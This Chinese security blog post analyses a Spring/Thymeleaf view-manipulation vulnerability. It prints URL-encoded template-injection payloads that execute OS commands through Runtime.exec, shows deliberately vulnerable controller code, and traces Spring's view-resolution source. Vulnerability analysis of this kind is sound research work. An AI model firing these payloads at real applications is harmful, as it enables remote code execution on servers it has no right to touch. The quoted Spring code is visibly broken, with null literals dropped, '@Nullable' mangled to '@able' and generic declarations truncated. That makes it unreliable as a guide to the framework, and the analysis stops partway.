Spring 视图操纵漏洞
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失 , 均由使用者本人负责 , 雷神众测以及文章作者不为此承担任何责任 。
雷神众测拥有对此文章的修改和解释权 。 如欲转载或传播此文章 , 必须保证此文章的完整性 , 包括版权声明等全部内容 。 未经雷神众测允许 , 不得任意修改或者增减此文章内容 , 不得以任何方式将其用于商业目的 。
No.1
概述
知识点起源于一个小哥的GitHub的demo , 已经在 Reference提及了 , 核心观点想要表达如果能操纵spring的视图(view)是一件很危险的事情 , 紧接着用到了Thymeleaf这个模版来举例子 。
No.2
跟踪过程
小哥在代码中举了两个例子 , 这两个例子分别是由相同的特征 , 返回的内容可被攻击者操纵 。
//GET /path?lang=en HTTP/1.1
//GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime.exec(%22id%22).getInputStream).next%7d__::.x
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
//GET /fragment?section=main
//GET /fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime.exec(%22touch%20executed%22).getInputStream).next%7d__::.x
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
这里先慢慢看 , spring的模版处理在这里 org.springframework.web.servlet.ViewView# render, 根据注释可以知道这个地方是个接口 , 要实现需要到相关模版渲染引擎单中去实现 。
/**
* Render the view given the specified model.
* The first step will be preparing the request: In the JSP case, this would mean
* setting model objects as request attributes. The second step will be the actual
* rendering of the view, for example including the JSP via a RequestDispatcher.
* @param model a Map with name Strings as keys and corresponding model
* objects as values (Map can also be {@code } in case of empty model)
* @param request current HTTP request
* @param response he HTTP response we are building
* @throws Exception if rendering failed
*/
void render(@able Map model, HttpServletRequest request, HttpServletResponse response)
throws Exception;
}
而实际上的处理过程是在 org.springframework.web.servlet.DispatcherServlet.render
protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {
...
View view;
String viewName = mv.getViewName;
if (viewName != ) {
// We need to resolve the view name.
view = resolveViewName(viewName, mv.getModelInternal, locale, request);
if (view == ) {
throw new ServletException("Could not resolve view with name '" + mv.getViewName +
"' in servlet with name '" + getServletName + "'");
}
}
...
try {
if (mv.getStatus != ) {
response.setStatus(mv.getStatus.value);
}
view.render(mv.getModelInternal, request, response);
}
跟一下流程 , 首先在String viewName = mv.getViewName;的过程中就获取到我们传入的POC 。
文章插图
紧接着进行view = resolveViewName(viewName, mv.getModelInternal, locale, request);处理 , 这个 resolveViewName , 当从英文翻译就知道它大概要解析视图名字 , 当然本着严谨的角度还是需要看代码的 , 跟进来之后会来到ContentNegotiatingViewResolver# resolveViewName 当中 , 关注一下getCandidateViews
public View resolveViewName(String viewName, Locale locale) throws Exception {
RequestAttributes attrs = RequestContextHolder.getRequestAttributes;
Assert.state(attrs instanceof ServletRequestAttributes, "No current ServletRequestAttributes");
List
if (requestedMediaTypes != ) {
List
View bestView = getBestView(candidateViews, requestedMediaTypes, attrs);
if (bestView != ) {
return bestView;
}
}
先跟进来 getCandidateViews , 这玩意会循环当前的this.viewResolvers 内容 , 并且进行处理 。
- Spring security CSRF 跨域访问限制问题
- Spring Boot搭建的一个在线文件预览系统
- 面试官:问你一个,Spring事务是如何传播的?
- 对Spring MVC接口进行Mock测试
- Spring Cloud Alibaba之 Sentinel
- SpringBoot+MyBatis+MySQL读写分离实现
- SpringBoot构造流程源码分析:Web应用类型推断
- 搭建私有Sentry日志收集系统并集成到springboot
- Spring事务原理?事务在方法间如何传播?为什么会失效?
- SpringBoot扫描不到组件?给你提供几种方案